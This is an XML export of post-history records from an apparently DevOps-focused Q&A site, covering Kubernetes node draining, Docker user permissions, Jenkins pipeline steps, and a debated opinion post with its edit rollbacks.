  <row Id="16998" PostHistoryTypeId="2" PostId="5350" RevisionGUID="dfadeca4-4643-4f1b-941b-623f80e8e35a" CreationDate="2018-11-06T15:53:03.680" UserId="3356" Text="1). Inside the node pool(lets call it ***old_node_pool*** ) that you want to delete, First Cordon all the nodes one after the other. &#xD;&#xA;&#xD;&#xA;     kubectl cordon &lt;name_of_node_1&gt;&#xD;&#xA;     kubectl cordon &lt;name_of_node_2&gt;&#xD;&#xA;               ........ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2). Drain all the nodes of the ***old_node_pool***.&#xD;&#xA;&#xD;&#xA;     kubectl drain &lt;name_of_node_1&gt;&#xD;&#xA;     kubectl drain &lt;name_of_node_2&gt;&#xD;&#xA;               ........ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;3). Wait to see all the pods are up and running on the new node pool.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;4). Delete the old node pool.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17003" PostHistoryTypeId="5" PostId="5344" RevisionGUID="61580586-998a-47dd-a4df-d046084036d1" CreationDate="2018-11-06T16:56:37.623" UserId="13" Comment="No need for name calling" Text="There is going to be servers which you do not hear running in data centers. Everything is going to be software. Storage, network, systems, security, data centers; SDN, firewalls, NFV, storage, servers, etc. Sysadmins without a software development background, SDLC experience (I don't even mean scripting Perl, Powershell, etc) will probably vanish. Distributed, scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I dare to say Sysadmins grow vertical, DevOps (or OpsDev) grow horizontal. You can see the same pattern how microservices evolved from monoliths. I would rather choose DevOps engineer from software team not from operations/system team. &#xD;&#xA;&#xD;&#xA;Because operations/system team just runs what software team builds.&#xD;&#xA; &#xD;&#xA;- Sysadmins do not build/compile Linux/FreeBSD/windows kernel etc. just as software engineers build/compile applications.&#xD;&#xA;- Sysadmins do not go through the software development life cycle (SDLC).&#xD;&#xA;- Sysadmins are not part of the production pipeline (CI/CD process).&#xD;&#xA;- Sysadmin start working after CI/Continuous Delivery/Deployment ends.&#xD;&#xA;&#xD;&#xA;  And if you break and assign Deployment/Delivery, it could be a broken pipeline  &#xD;&#xA;the software team is the creator system/operations team are the runners/caretakers mostly.&#xD;&#xA;&#xD;&#xA;It sounds like there is no server/system to administer, no sysadmin need.&#xD;&#xA;&#xD;&#xA;Serverless computing is a cloud-computing execution model in which the cloud provider acts as the server, dynamically managing the allocation of machine resources. Pricing is based on the actual amount of resources consumed by an application, rather than on pre-purchased units of capacity&#xD;&#xA;[Serverless computing][1]&#xD;&#xA;&#xD;&#xA;Someone from the software team already knows how to build, maintain even how to code (SRE vs DevOps/OpsDev).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between the two? &#xD;&#xA;&#xD;&#xA;***In the middle of nowhere, I did not start writing about software-defined storage, this is in reaction to a now deleted comment about it ***&#xD;&#xA;&#xD;&#xA;### About software-defined storage&#xD;&#xA;&#xD;&#xA;- Software-defined storage (SDS) is a marketing term for computer data storage software for policy-based provisioning and management of data storage independent of the underlying hardware.&#xD;&#xA;[Software-defined storage][2]&#xD;&#xA;&#xD;&#xA;- EMC announced its first ever open source product: Project CoprHD. CoprHD is a Software Defined Storage automation and management controller, and EMC’s recent decision to open source it is at the crux of our strategy for delivering greater value to global businesses as we enter into an area of growth and extreme change.&#xD;&#xA;[As the world’s leader in storage and information management, it behooves EMC to lead the way on Software Defined Storage (SDS)][3].&#xD;&#xA;&#xD;&#xA;- CoprHD is an open source software-defined storage controller and API platform. It enables policy-based management and cloud automation of storage resources for the block, object and file storage providers&#xD;&#xA;[CoprHD][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Serverless_computing&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Software-defined_storage&#xD;&#xA;  [3]: https://www.emc.com/microsites/sds/articles/leading-the-way-software-defined-storage.htm&#xD;&#xA;  [4]: https://coprhd.github.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17004" PostHistoryTypeId="50" PostId="4720" RevisionGUID="b6e29884-d5c4-461e-8d44-2b908353f69a" CreationDate="2018-11-06T17:00:52.583" UserId="-1" />
  <row Id="17012" PostHistoryTypeId="2" PostId="5353" RevisionGUID="4deab1ad-9ac1-4ba1-900d-ee926b19d829" CreationDate="2018-11-06T18:06:31.787" UserId="497" Text="I use [Sparky](https://dev.to/melezhik/sparky---powerful-pocket-size-task-runner-server-in-crontab-style-2ed5) to monitoring **internal** applications statuses. VSTS builds success, ssl certificates, source code consistency  and so on. It fits ideally as I have a **one dashboard** to give me an essential information on most critical parts of the systems split  across different projects and applications.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="17013" PostHistoryTypeId="5" PostId="5344" RevisionGUID="c82834e4-0cb0-4f7b-b783-426a098b569a" CreationDate="2018-11-06T18:29:06.890" UserId="9404" Comment="added 214 characters in body" Text="There is going to be servers which you do not hear running in data centers. Everything is going to be software. Storage, network, systems, security, data centers; SDN, firewalls, NFV, storage, servers, etc. Sysadmins without a software development background, SDLC experience (I don't even mean scripting Perl, Powershell, etc) will probably vanish. Distributed, scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I dare to say Sysadmins grow vertical, DevOps (or OpsDev) grow horizontal. You can see the same pattern how microservices evolved from monoliths. I would rather choose DevOps engineer from software team not from operations/system team. &#xD;&#xA;&#xD;&#xA;Because operations/system team just runs what software team builds.&#xD;&#xA; &#xD;&#xA;- Sysadmins do not build/compile Linux/FreeBSD/windows kernel etc. just as software engineers build/compile applications.&#xD;&#xA;- Sysadmins do not go through the software development life cycle (SDLC).&#xD;&#xA;- Sysadmins are not part of the production pipeline (CI/CD process).&#xD;&#xA;- Sysadmin start working after CI/Continuous Delivery/Deployment ends.&#xD;&#xA;&#xD;&#xA;  And if you break and assign Deployment/Delivery, it could be a broken pipeline  &#xD;&#xA;the software team is the creator system/operations team are the runners/caretakers mostly.&#xD;&#xA;&#xD;&#xA;It sounds like there is no server/system to administer, no sysadmin need.&#xD;&#xA;&#xD;&#xA;Serverless computing is a cloud-computing execution model in which the cloud provider acts as the server, dynamically managing the allocation of machine resources. Pricing is based on the actual amount of resources consumed by an application, rather than on pre-purchased units of capacity&#xD;&#xA;[Serverless computing][1]&#xD;&#xA;&#xD;&#xA;Someone from the software team already knows how to build, maintain even how to code (SRE vs DevOps/OpsDev).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between the two? &#xD;&#xA;&#xD;&#xA;**&#xD;&#xA;&#xD;&#xA;&gt; In the middle of nowhere, I did not start writing about&#xD;&#xA;&gt; software-defined storage, here goes my answer( &quot;Pierre Viernes&#xD;&#xA;&gt; commented to my answer asking about it, which was deleted, later on my&#xD;&#xA;&gt; answer to Pierre Viernes's comment was also deleted) PS: Pierre&#xD;&#xA;&gt; Viernes / Tensibai. Please stop purging messages. The community should see&#xD;&#xA;&gt; where this topic is coming from.&#xD;&#xA;&#xD;&#xA;**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Software-defined storage (SDS) is a marketing term for computer data storage software for policy-based provisioning and management of data storage independent of the underlying hardware.&#xD;&#xA;[Software-defined storage][2]&#xD;&#xA;&#xD;&#xA;- EMC announced its first ever open source product: Project CoprHD. CoprHD is a Software Defined Storage automation and management controller, and EMC’s recent decision to open source it is at the crux of our strategy for delivering greater value to global businesses as we enter into an area of growth and extreme change.&#xD;&#xA;[As the world’s leader in storage and information management, it behooves EMC to lead the way on Software Defined Storage (SDS)][3].&#xD;&#xA;&#xD;&#xA;- CoprHD is an open source software-defined storage controller and API platform. It enables policy-based management and cloud automation of storage resources for the block, object and file storage providers&#xD;&#xA;[CoprHD][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Serverless_computing&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Software-defined_storage&#xD;&#xA;  [3]: https://www.emc.com/microsites/sds/articles/leading-the-way-software-defined-storage.htm&#xD;&#xA;  [4]: https://coprhd.github.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17015" PostHistoryTypeId="2" PostId="5355" RevisionGUID="f695e5c5-57a1-49a6-a7b7-beec62700555" CreationDate="2018-11-06T19:56:55.530" UserId="4115" Text="1.  No, the credentials will only be visible within the block passed to `withCredentials`, not outside of that.&#xD;&#xA;&#xD;&#xA;2. There is no way to make the credentials globally available without switching to Scripted Pipeline.  With Scripted, you can wrap your entire job in `withCredentials`.  This is not possible with Declarative." ContentLicense="CC BY-SA 4.0" />
  <row Id="17016" PostHistoryTypeId="8" PostId="5344" RevisionGUID="fcecb5c9-c330-4618-b245-15ce74d72253" CreationDate="2018-11-06T22:14:34.247" UserId="13" Comment="Rollback to [61580586-998a-47dd-a4df-d046084036d1]" Text="There is going to be servers which you do not hear running in data centers. Everything is going to be software. Storage, network, systems, security, data centers; SDN, firewalls, NFV, storage, servers, etc. Sysadmins without a software development background, SDLC experience (I don't even mean scripting Perl, Powershell, etc) will probably vanish. Distributed, scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I dare to say Sysadmins grow vertical, DevOps (or OpsDev) grow horizontal. You can see the same pattern how microservices evolved from monoliths. I would rather choose DevOps engineer from software team not from operations/system team. &#xD;&#xA;&#xD;&#xA;Because operations/system team just runs what software team builds.&#xD;&#xA; &#xD;&#xA;- Sysadmins do not build/compile Linux/FreeBSD/windows kernel etc. just as software engineers build/compile applications.&#xD;&#xA;- Sysadmins do not go through the software development life cycle (SDLC).&#xD;&#xA;- Sysadmins are not part of the production pipeline (CI/CD process).&#xD;&#xA;- Sysadmin start working after CI/Continuous Delivery/Deployment ends.&#xD;&#xA;&#xD;&#xA;  And if you break and assign Deployment/Delivery, it could be a broken pipeline  &#xD;&#xA;the software team is the creator system/operations team are the runners/caretakers mostly.&#xD;&#xA;&#xD;&#xA;It sounds like there is no server/system to administer, no sysadmin need.&#xD;&#xA;&#xD;&#xA;Serverless computing is a cloud-computing execution model in which the cloud provider acts as the server, dynamically managing the allocation of machine resources. Pricing is based on the actual amount of resources consumed by an application, rather than on pre-purchased units of capacity&#xD;&#xA;[Serverless computing][1]&#xD;&#xA;&#xD;&#xA;Someone from the software team already knows how to build, maintain even how to code (SRE vs DevOps/OpsDev).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between the two? &#xD;&#xA;&#xD;&#xA;***In the middle of nowhere, I did not start writing about software-defined storage, this is in reaction to a now deleted comment about it ***&#xD;&#xA;&#xD;&#xA;### About software-defined storage&#xD;&#xA;&#xD;&#xA;- Software-defined storage (SDS) is a marketing term for computer data storage software for policy-based provisioning and management of data storage independent of the underlying hardware.&#xD;&#xA;[Software-defined storage][2]&#xD;&#xA;&#xD;&#xA;- EMC announced its first ever open source product: Project CoprHD. CoprHD is a Software Defined Storage automation and management controller, and EMC’s recent decision to open source it is at the crux of our strategy for delivering greater value to global businesses as we enter into an area of growth and extreme change.&#xD;&#xA;[As the world’s leader in storage and information management, it behooves EMC to lead the way on Software Defined Storage (SDS)][3].&#xD;&#xA;&#xD;&#xA;- CoprHD is an open source software-defined storage controller and API platform. It enables policy-based management and cloud automation of storage resources for the block, object and file storage providers&#xD;&#xA;[CoprHD][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Serverless_computing&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Software-defined_storage&#xD;&#xA;  [3]: https://www.emc.com/microsites/sds/articles/leading-the-way-software-defined-storage.htm&#xD;&#xA;  [4]: https://coprhd.github.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17017" PostHistoryTypeId="14" PostId="5344" RevisionGUID="4b0ba4c5-e094-495f-94e6-8a7933908ec0" CreationDate="2018-11-06T22:17:14.007" UserId="13" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="17018" PostHistoryTypeId="33" PostId="5344" RevisionGUID="34a71c88-9393-41d3-9b45-42b19f8e6ba9" CreationDate="2018-11-06T22:17:14.007" UserId="13" Comment="29" />
  <row Id="17022" PostHistoryTypeId="2" PostId="5357" RevisionGUID="d5e5d65d-d5fd-4063-905b-923a03e581a6" CreationDate="2018-11-07T04:25:10.020" UserId="10687" Text="The answer to the question &quot;is there a Dockerfile for that, as well?&quot;&#xD;&#xA;&#xD;&#xA;https://github.com/tianon/docker-brew-ubuntu-core/tree/dist-amd64&#xD;&#xA;&#xD;&#xA;Note their git branches contain the actual release build based on architecture." ContentLicense="CC BY-SA 4.0" />
  <row Id="17025" PostHistoryTypeId="2" PostId="5359" RevisionGUID="32a7d05f-736d-439b-a125-ab2686f195d5" CreationDate="2018-11-07T06:42:10.787" UserId="9404" Text="You can walk backward in DockerFile. You can uninstall/cleanup &quot;groups&quot; &quot;packages&quot; to slim down. You can create your custom minimal image from that cloud image.It is like just a snapshot of a specific image at some point." ContentLicense="CC BY-SA 4.0" />
  <row Id="17026" PostHistoryTypeId="5" PostId="5359" RevisionGUID="2c421e47-c7db-4549-b757-71de241aad83" CreationDate="2018-11-07T06:50:28.830" UserId="9404" Comment="added 401 characters in body" Text="You can walk backward in DockerFile. You can uninstall/cleanup &quot;groups&quot; &quot;packages&quot; to slim down. You can create your custom minimal image from that cloud image.It is like just a snapshot of a specific image at some point.&#xD;&#xA;&#xD;&#xA;This is the minimal position. &#xD;&#xA;&#xD;&#xA;[docker pull hello-world][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Dockerfile-linux.template][2]&#xD;&#xA;&#xD;&#xA;You may want to look at kickstart/preseed if you want deep-diving.It is about being an official image or some image on which you have full control.&#xD;&#xA;][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/hello-world/&#xD;&#xA;  [2]: https://github.com/docker-library/hello-world/blob/master/Dockerfile-linux.template" ContentLicense="CC BY-SA 4.0" />
  <row Id="17033" PostHistoryTypeId="5" PostId="5359" RevisionGUID="d6e26d80-dd64-45f6-8d26-ae675dbcc7ec" CreationDate="2018-11-07T07:37:31.787" UserId="9404" Comment="added 30 characters in body" Text="You can walk backward in DockerFile. You can uninstall/cleanup &quot;groups&quot; &quot;packages&quot; to slim down. You can create your custom minimal image from that cloud image.It is like just a snapshot of a specific image at some point.&#xD;&#xA;&#xD;&#xA;This is the minimal position. This is when the baby is born.&#xD;&#xA;&#xD;&#xA;[docker pull hello-world][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Dockerfile-linux.template][2]&#xD;&#xA;&#xD;&#xA;You may want to look at kickstart/preseed if you want deep-diving.It is about being an official image or some image on which you have full control.&#xD;&#xA;][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/hello-world/&#xD;&#xA;  [2]: https://github.com/docker-library/hello-world/blob/master/Dockerfile-linux.template" ContentLicense="CC BY-SA 4.0" />
  <row Id="17034" PostHistoryTypeId="2" PostId="5361" RevisionGUID="a76253a8-102a-44e5-a33d-4f27321032ea" CreationDate="2018-11-07T07:46:40.373" UserId="10707" Text="I had a similar problem, this worked for me:&#xD;&#xA;&#xD;&#xA;1. Write Docker file with:&#xD;&#xA;&#xD;&#xA;        # Create app layer:&#xD;&#xA;        FROM python:3.4&#xD;&#xA;        # Create app user &amp; group &quot;testuser&quot; with IDs:&#xD;&#xA;        RUN groupadd -r testuser --gid 1234 &amp;&amp; useradd -d /home/testuser -ms /bin/bash -r -g testuser testuser --uid 1234&#xD;&#xA;        # Create &quot;testuser&quot; working dir:&#xD;&#xA;        WORKDIR /home/testuser&#xD;&#xA;        # Make working dir known to Python    &#xD;&#xA;        ENV PYTHONPATH &quot;${PYTHONPATH}:/home/testuser&quot;&#xD;&#xA;        # Create &amp; mount shared storage:&#xD;&#xA;        RUN mkdir /var/run/testuser-storage&#xD;&#xA;        VOLUME [&quot;/var/run/testuser-storage&quot;]&#xD;&#xA;        # Start container as &quot;testuser&quot;:&#xD;&#xA;        ENV NAME testuser&#xD;&#xA;        ENV HOME /home/testuser&#xD;&#xA;        USER testuser&#xD;&#xA;2. Run these bash commands:&#xD;&#xA;&#xD;&#xA;        # Create the same user &amp; group &quot;testuser&quot; with IDs on host:&#xD;&#xA;        getent group testuser &gt; /dev/null || /usr/sbin/groupadd -r testuser --gid 1234&#xD;&#xA;        getent passwd testuser &gt; /dev/null || /usr/sbin/useradd -r -g testuser -d /var/lib/testuser -s /bin/nologin testuser --uid 1234&#xD;&#xA;        # Create shared storage dirs on host:&#xD;&#xA;        mkdir /var/run/testuser-storage&#xD;&#xA;        chown -R testuser.testuser /var/run/testuser-storage&#xD;&#xA;        # Build and run &quot;testuser&quot; Docker image:&#xD;&#xA;        docker build . -t testuser&#xD;&#xA;        docker run --net host --name testuser -v /var/run/testuser-storage:/var/run/testuser-storage -d testuser&#xD;&#xA;        # Change ownership of shared volume dir to the be the GID of &quot;testuser&quot;&#xD;&#xA;        chown -R 1234:1234 /var/run/testuser-storage&#xD;&#xA;&#xD;&#xA;Note the names, UID's ,GID's must be the same for the Docker user and the host user. The last bash command tells the Docker image that that host user is the same as the Docker shared volume dir user, so that file dir then becomes owned by the &quot;testuser&quot; in the Docker container." ContentLicense="CC BY-SA 4.0" />
  <row Id="17038" PostHistoryTypeId="5" PostId="5340" RevisionGUID="0962e120-8435-4beb-a73c-ef601534518c" CreationDate="2018-11-07T08:08:52.770" UserId="9404" Comment="added 393 characters in body" Text="So what's the problem?&#xD;&#xA;&#xD;&#xA;(I put this sentence because this sentence belongs to the user, thanks to policing the SE community moderators)&#xD;&#xA;&#xD;&#xA;&gt; 'app.py': [Errno 2] No such file or directory&#xD;&#xA;&#xD;&#xA;(I put this sentence because this sentence belongs to the user, AGAIN thanks to policing the SE community moderators, the IDEA is to show the user that the user already has the question and the answer at the same time. Please let the people help the people. Do not create noise)&#xD;&#xA;&#xD;&#xA;I think you already answered your question. The troubleshooting part, you suspect something, but you did not test it to see if it is really what you think.&#xD;&#xA;&#xD;&#xA;Create two more files, requirements.txt and app.py, and put them in the same folder with the Dockerfile. This completes our app, which as you can see is quite simple. When the above `Dockerfile` is built into an image, `app.py` and `requirements.txt` is present because of that Dockerfile’s `COPY` command, and the output from `app.py` is accessible over HTTP thanks to the `EXPOSE` command.&#xD;&#xA;[Get Started, Part 2: Containers][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/get-started/part2/#dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="17043" PostHistoryTypeId="50" PostId="4723" RevisionGUID="13ffc4b1-94b4-4271-a16c-ebad70b6bcd4" CreationDate="2018-11-07T09:00:41.450" UserId="-1" />
  <row Id="17045" PostHistoryTypeId="2" PostId="5363" RevisionGUID="1cbb0549-3f3f-4f55-8581-140c79f424f6" CreationDate="2018-11-07T09:34:10.610" UserId="10712" Text="can you share me groovy or pipeline steps to parse Jenkins console output, identify a string and if it matches the string make the build as failure." ContentLicense="CC BY-SA 4.0" />
  <row Id="17046" PostHistoryTypeId="1" PostId="5363" RevisionGUID="1cbb0549-3f3f-4f55-8581-140c79f424f6" CreationDate="2018-11-07T09:34:10.610" UserId="10712" Text="Jenkins Groovy to parse console output and mark build failure" ContentLicense="CC BY-SA 4.0" />
  <row Id="17047" PostHistoryTypeId="3" PostId="5363" RevisionGUID="1cbb0549-3f3f-4f55-8581-140c79f424f6" CreationDate="2018-11-07T09:34:10.610" UserId="10712" Text="&lt;jenkins-pipeline&gt;&lt;salt&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17048" PostHistoryTypeId="2" PostId="5364" RevisionGUID="00d2bb69-11ce-4a4c-a4f0-6393615a01df" CreationDate="2018-11-07T09:55:04.090" UserId="10713" Text="You can find the IP addresses of the Travis build machines [here][1]. If you add the IP addresses of the Travis infrastructure you use to your whitelisted IPs in Cloud SQL it should work. Keep in mind these IP addresses can change in the future though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.travis-ci.com/user/ip-addresses/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17051" PostHistoryTypeId="8" PostId="5340" RevisionGUID="e95af74c-4266-4d69-9d91-9df470486523" CreationDate="2018-11-07T10:54:20.473" UserId="13" Comment="Rollback to [483eb723-2eb9-4332-839f-5cff68f08d8e]" Text="So what's the problem?&#xD;&#xA;&#xD;&#xA;&gt; 'app.py': [Errno 2] No such file or directory&#xD;&#xA;&#xD;&#xA;I think you already answered your question. The troubleshooting part, you suspect something, but you did not test it to see if it is really what you think.&#xD;&#xA;&#xD;&#xA;Create two more files, requirements.txt and app.py, and put them in the same folder with the Dockerfile. This completes our app, which as you can see is quite simple. When the above `Dockerfile` is built into an image, `app.py` and `requirements.txt` is present because of that Dockerfile’s `COPY` command, and the output from `app.py` is accessible over HTTP thanks to the `EXPOSE` command.&#xD;&#xA;[Get Started, Part 2: Containers][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/get-started/part2/#dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="17052" PostHistoryTypeId="5" PostId="5363" RevisionGUID="e674f0e4-de5f-4813-b867-f9bd3fa8ebf8" CreationDate="2018-11-07T10:55:09.270" UserId="354" Comment="re-worded to make the question applicable and answerable." Text="What would be a Groovy or pipeline step to parse Jenkins console output, identify a string and mark the build as failure if the string is matched?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17053" PostHistoryTypeId="24" PostId="5363" RevisionGUID="e674f0e4-de5f-4813-b867-f9bd3fa8ebf8" CreationDate="2018-11-07T10:55:09.270" Comment="Proposed by 354 approved by 13 edit id of 842" ContentLicense="CC BY-SA 4.0" />
  <row Id="17054" PostHistoryTypeId="2" PostId="5365" RevisionGUID="9fd1ca5d-d2d8-4d3d-8019-b33300400517" CreationDate="2018-11-07T11:33:33.440" UserId="354" Text="This question seems similar to [another on StackOverflow](https://stackoverflow.com/questions/36188512/search-through-console-output-of-a-jenkins-job#36190644), but seems to be a direct duplicate of &#xD;&#xA;https://stackoverflow.com/questions/37018509/jenkinsfile-build-log&#xD;&#xA;&#xD;&#xA;To quote those : &#xD;&#xA;&#xD;&#xA;&gt;  if you just want to check, that your log contains string myTestString you can just call manager.logContains('.*myTestString.*')&#xD;&#xA;&#xD;&#xA;&gt; If you want to get some information from the first matching line you can use manager.getLogMatcher(regexp)&#xD;&#xA;&#xD;&#xA;You could use the [Groovy flow control](https://jenkins.io/doc/book/pipeline/syntax/#flow-control) to break the build - you just need a step to execute the test, which could be implemented in a shell script for example. &#xD;&#xA;&#xD;&#xA;Following the example on the link : &#xD;&#xA;&#xD;&#xA;    node {&#xD;&#xA;        stage('CheckLog') {&#xD;&#xA;          steps {&#xD;&#xA;            if (manager.logContains('.*myTestString.*')) {&#xD;&#xA;              error(&quot;Build failed because of this and that..&quot;)    &#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17055" PostHistoryTypeId="5" PostId="5365" RevisionGUID="9c426548-26b8-4abe-9af4-c75ece23cd78" CreationDate="2018-11-07T12:59:00.503" UserId="354" Comment="removing tautology" Text="This question seems similar to [another on StackOverflow](https://stackoverflow.com/questions/36188512/search-through-console-output-of-a-jenkins-job#36190644), but seems to be a close, but not exact duplicate of &#xD;&#xA;https://stackoverflow.com/questions/37018509/jenkinsfile-build-log&#xD;&#xA;&#xD;&#xA;To quote those : &#xD;&#xA;&#xD;&#xA;&gt;  if you just want to check, that your log contains string myTestString you can just call manager.logContains('.*myTestString.*')&#xD;&#xA;&#xD;&#xA;&gt; If you want to get some information from the first matching line you can use manager.getLogMatcher(regexp)&#xD;&#xA;&#xD;&#xA;You could use the [Groovy flow control](https://jenkins.io/doc/book/pipeline/syntax/#flow-control) to break the build - you just need a step to execute the test:&#xD;&#xA;&#xD;&#xA;Following the example on the link : &#xD;&#xA;&#xD;&#xA;    node {&#xD;&#xA;        stage('CheckLog') {&#xD;&#xA;          steps {&#xD;&#xA;            if (manager.logContains('.*myTestString.*')) {&#xD;&#xA;              error(&quot;Build failed because of this and that..&quot;)    &#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17056" PostHistoryTypeId="15" PostId="5344" RevisionGUID="6b9502ed-7858-41e0-ab84-c41eb845ea7c" CreationDate="2018-11-07T13:01:38.480" UserId="13" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="17057" PostHistoryTypeId="34" PostId="5344" RevisionGUID="1200fa93-691c-4c85-8cf1-7f319328ff2a" CreationDate="2018-11-07T13:01:38.480" UserId="13" Comment="29" />
  <row Id="17059" PostHistoryTypeId="2" PostId="5366" RevisionGUID="3b9daf0d-93d8-47db-b8ca-95376bd0de4b" CreationDate="2018-11-07T14:37:30.430" UserId="354" Text="It's difficult to say whether other tools will be _better_ if there is nothing really concrete to measure against. A good, partially biased answer comes from [Hashicorp's Consul](https://www.consul.io/intro/vs/zookeeper.html)&#xD;&#xA;&#xD;&#xA;This seems to describe why Consul would be inherently better than Zookeeper, from the point of view of ease of use:&#xD;&#xA;&#xD;&#xA;&gt; ZooKeeper et al. provide only a primitive K/V store and require that application developers build their own system to provide service discovery. Consul, by contrast, provides an opinionated framework for service discovery and eliminates the guess-work and development effort&#xD;&#xA;&#xD;&#xA;... scalability:&#xD;&#xA;&#xD;&#xA;&gt; ZooKeeper provides ephemeral nodes which are K/V entries that are removed when a client disconnects. These are more sophisticated than a heartbeat system but still have inherent scalability issues and add client-side complexity. All clients must maintain active connections to the ZooKeeper servers and perform keep-alives.&#xD;&#xA;&#xD;&#xA;... and simplicity : &#xD;&#xA;&#xD;&#xA;&gt; Consul provides first-class support for service discovery, health checking, K/V storage, and multiple datacenters. To support anything more than simple K/V storage, all these other systems require additional tools and libraries to be built on top. By using client nodes, Consul provides a simple API that only requires thin clients. Additionally, the API can be avoided entirely by using configuration files and the DNS interface to have a complete service discovery solution with no development at all.&#xD;&#xA;&#xD;&#xA;It does not address the need for extra resources, but since the architecture is different, I would assume the need for resources is also less: &#xD;&#xA;&#xD;&#xA;&gt; Instead of only having server nodes, Consul clients run on every node in the cluster.&#xD;&#xA;&#xD;&#xA;Hope this can provide some form of answer." ContentLicense="CC BY-SA 4.0" />
  <row Id="17060" PostHistoryTypeId="5" PostId="5333" RevisionGUID="b3fa9503-77bd-4457-b850-17e19204d77f" CreationDate="2018-11-07T14:45:56.633" UserId="739" Comment="remove premature thanks and code formatting" Text="I am trying to use the Ansible `find` module to create a list of files to pass to the `file` module to change file permissions on files owned by a specific user in a directory that contains files owned my various users.  The Ansible `find` module does not appear to allow me to use owner or group as search criteria.  There are no other distinguishing factors about the files other than the owner.  Is it possible or would I have to use the `shell` module instead?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17061" PostHistoryTypeId="24" PostId="5333" RevisionGUID="b3fa9503-77bd-4457-b850-17e19204d77f" CreationDate="2018-11-07T14:45:56.633" Comment="Proposed by 739 approved by 40, 47 edit id of 841" ContentLicense="CC BY-SA 4.0" />
  <row Id="17067" PostHistoryTypeId="5" PostId="3776" RevisionGUID="47067430-a83b-4cc1-a8bd-874d01241e2e" CreationDate="2018-11-07T15:48:12.897" UserId="354" Comment="made the list an actual list." Text="OpenShift includes EFK and I'm looking into using that or ELK, but there are so many options (found a link with 50+ options) that I'm trying to narrow down. Ideally something free/cheap. What is the best logging and metrics reporting tool?&#xD;&#xA;&#xD;&#xA;We are running a handful of microservices within OpenShift.&#xD;&#xA;&#xD;&#xA;Some simple use cases of what we are looking to do:&#xD;&#xA;&#xD;&#xA;  - As an admin, I need a report showing how many times a service was called in a given time frame.&#xD;&#xA;  - As an admin, I need a report showing how many times a service was called successfully in a given time frame.&#xD;&#xA;  - As an admin, I need a report showing the average time a service takes to process requests.&#xD;&#xA;  - As an admin, I need a report showing the lifecyle of a specific message (UUID).  The lifecycle will show each service called." ContentLicense="CC BY-SA 4.0" />
  <row Id="17068" PostHistoryTypeId="24" PostId="3776" RevisionGUID="47067430-a83b-4cc1-a8bd-874d01241e2e" CreationDate="2018-11-07T15:48:12.897" Comment="Proposed by 354 approved by 47, 40 edit id of 844" ContentLicense="CC BY-SA 4.0" />
  <row Id="17070" PostHistoryTypeId="2" PostId="5368" RevisionGUID="559fb4d8-81ae-40ac-93c8-75a3ce477d71" CreationDate="2018-11-07T18:33:03.983" UserId="10727" Text="After update of chrome, I have an issue with E2E automation tests. When I run test, it open chrome website with error: CONNECTION REFUSED after refresh of website test passed. Did you had similar issue? Why I can’ connect to selenium for first time but after refresh it working? " ContentLicense="CC BY-SA 4.0" />
